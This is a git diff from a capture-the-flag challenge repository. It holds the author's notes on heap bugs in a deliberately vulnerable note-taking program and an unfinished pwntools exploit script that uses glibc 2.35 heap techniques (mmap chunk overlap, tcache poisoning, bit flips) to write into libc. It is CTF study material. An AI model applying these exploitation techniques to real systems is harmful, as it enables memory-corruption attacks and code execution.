this prevents us from unmapping our +modified heap chunk, since it would unmap thread-local variables such +as errno (e.g. which is accessed right after munmap!) + +but.. maybe there is something interesting in thread local chunk.. + +maybe the exit handler is stored there? nope + +there is no info leak.. even puts() on the line_buf is called +directly after read_line, meaning it has to be null-terminated +(except if we close stdin.. but then we cant use the info-leak anymore) + + +source analysis: + +- add_note assigns to sizes[i] the size of the buffer without its terminator, + since the return value assignment happens after the internal one to the + &sizes[i] pointer. + +- edit_note has a 1 byte (fixed-value) overwrite, since *size == sizes[index] + 2 + is allowed. the trailing newline is removed in memcpy, meaning + sizes[index]+1 bytes can be written to the field. but there is an implicit + null terminator part of the string.. so it does not allow OOB write, just + a 'clean' overwrite of the data without terminators. + +- remove_note is missing a sizes[index] == 0 and as such does not prevent a double free + +- flip_bit only checks wether the notes pointer != NULL, not wether it was freed.. + this means we can flip a bit in a freed chunk + + +use how2heap repo to find examples exploits for vulnerable libc version 2.35 +- fastbin_dup: fastbin free(a) + free(b) + free(a) +- fastbin_dup_consolidate: consolidate + double-free => chunk overlap +- fastbin_dup + write => arbitrary malloc (fastbin_dup_into_stack / anywhere) +- house of botcake: consolidate + double-free => chunk overlap with one in tcache +- house of muney: mmap chunk in front of libc, modify size field, munmap + remap to write into libc +- house of spirit: free artificial fake chunk into fastbin +- mmap_overlapping_chunks: (could give more precise munmap control) +- tcache_house_of_spirit: easier fake chunk into tcache + + +- why do you see calloc() in some heap exploitation writeups / how2heap? + => calloc has an optimization, where if the region above the top chunk + has not been used yet, splitting the top chunk is preferred to + getting a potentially dirty chunk from tcache that would need to be cleared.. + + +- once we have rip control, we can use a one gadget from the libc + + +- merge mmap chunk near heap, then free to tcache + +- maybe we flip a bit in the exit handler 0x1400 to jump back into main (e.g 0x1200) +- the exit handler stays registered and we keep our pointers allowing us diff --git a/solve/solve b/solve/solve @@ -0,0 +1,159 @@ +#!/usr/bin/env python3 + +from socket import NI_NAMEREQD +from pwn import * +from math import floor, ceil +import ctypes + +args = sys.argv[1:] +if len(args) == 0: + args = ["ssh", "-p", "1024", "root@localhost", "pkill gdbserver; gdbserver localhost:1025 /vuln"] +io = process(args) + +cci = 0 +def cc(): + global cci + cci += 1 + return string.ascii_uppercase[cci].encode() + +def alloc(line): + io.sendline(b"a") + io.readuntil(b"Note: ") + io.sendline(line) + line = io.readline().decode().strip() + print(line) + return int(line.split()[-1]) + +def free(index): + io.sendline(b"r") + io.readuntil(b"Index: ") + io.sendline(str(index).encode()) + print(f"Removed note: {index}") + +def edit(index, line): + io.sendline(b"e") + io.readuntil(b"Index: ") + io.sendline(str(index).encode()) + io.readuntil(b"Note: ") + io.sendline(line) + +def cfloor(a, b): + return floor(a / b) if a >= 0 else ceil(a / b) + +def flip(index, offset, bit): + adjusted = offset - 1 if offset < 0 and bit > 0 else offset + assert(offset == cfloor(ctypes.c_int8(adjusted * 8 + bit).value, 8)) + io.sendline(b"f") + io.sendline(str(index).encode()) + io.sendline(str(ctypes.c_uint8(adjusted * 8 + bit).value).encode()) + io.readuntil(b"Index: ") + io.readuntil(b"Offset: ") + print(io.readline().decode().strip()) + +def flipv(index, offset, value): + bit = (value & -value).bit_length() -1 + flip(index, offset + bit // 8, bit % 8) + +def adj(size): + return size - 2 - 0x8 # malloc header + +def mmap_adj(size): + return size - 2 - 0x1000 # page aligned malloc header + +gdb = 'gdb -ex "set debug-file-directory $PWD/debug"' \ + + ' -ex "target remote localhost:1025" -ex "b main" -ex "continue"' +run_in_new_terminal(["sh", "-c", f'sleep 1; sudo -E {gdb}'], kill_at_exit=False) + +pgsize = 0x1000 + +# NOTE: get_delim will alloc in powers of 2 starting at 0x78 +mmap_size_1 = 0x3c000 + pgsize +mmap_size_2 = (mmap_size_1 - pgsize) * 2 + pgsize +mmap_size_3 = (mmap_size_2 - pgsize) * 2 + pgsize + +print("MMAP1", hex(mmap_size_1)) +print("MMAP2", hex(mmap_size_2)) +print("MMAP3", hex(mmap_size_3)) + +# Do some alignment for later. +_ = alloc(cc() * mmap_size_2) +_ = alloc(cc() * mmap_size_2) + +# Prepare a tcache-able chunk for later. +bin_size = 0x50 +top = alloc(adj(bin_size)) + +# Add a padding chunk to prevent bad unmapping. +_ = alloc(cc() * mmap_adj(mmap_size_1)) # Slightly smaller to bypass malloc.c:3376 + +# Create two mmap chunks. +front = alloc(cc() * mmap_adj(mmap_size_1)) +back = alloc(cc() * mmap_adj(mmap_size_1)) + +# Flip back chunk size to overlap with front, new size 0x7e000. +flip_size = 0x40000 +flipv(back, -8, flip_size) + +io.interactive() + +# Free the back chunk with fake size. This unmaps the front chunk as well. +# It also adjusts the internal mmap_threshold to mmap_size_1 ^ flip_size. +free(back) +assert(mmap_size_3 > mmap_size_1 ^ flip_size) + +# Free and realloc back chunk with content to overwrite header. +# We pretend front chunk is a small, non-mmaped tcache-able chunk. +data = cc() * mmap_adj(mmap_size_3) +offset = mmap_size_3 - flip_size +back = alloc(data[:offset-8] + p64(bin_size ^ 0b1) + data[offset:]) + +io.interactive() + +# Free front chunk into tcache. +free(front) + +# Free another chunk into same tcache. +free(top) + +# Now the fd pointer of 'top' chunk is the fake chunk near libc. +# We use our second bit flip to make it point into libc. +flip(top, -8, 0x400000) + +# we can flip a bit through the protected address to redirect it +# into the libc writable region (this is what the alignment is for) + +# allocate the buffer in libc and write to set size + +# use edit to fixup the data + +# call function and win + +# NOTE: glibc2.35 has fastbin upto 0xa0! + +# should link the bin into unsorted/small bin free list, +# which puts a libc pointer into the freed chunk + + +# NOTE: get_delim will alloc in powers of 2 starting at 0x80 + +#rm(index) + +# allocate small chunk to tcache.. +#index = alloc(cc() * (0x70-2)) + +# remove it to link into free list and get pointer +#rm(index) + +# goal is to control the pointer returned by malloc so we can +# write into libc and modify a pointer in the got + +# we can either use the tcache list or + +io.interactive() + +#flip(0, -8, 1) +#flip(0, -8 + 2, 2) +#flip(0, -8 + 2, 1) + + + diff --git a/solve/vuln.bndb b/solve/vuln.bndb Binary files differ. diff --git a/solve/vuln.c b/solve/vuln.c @@ -156,4 +156,4 @@ int main() { free(line_buf); return 0; -} -\ No newline at end of file +}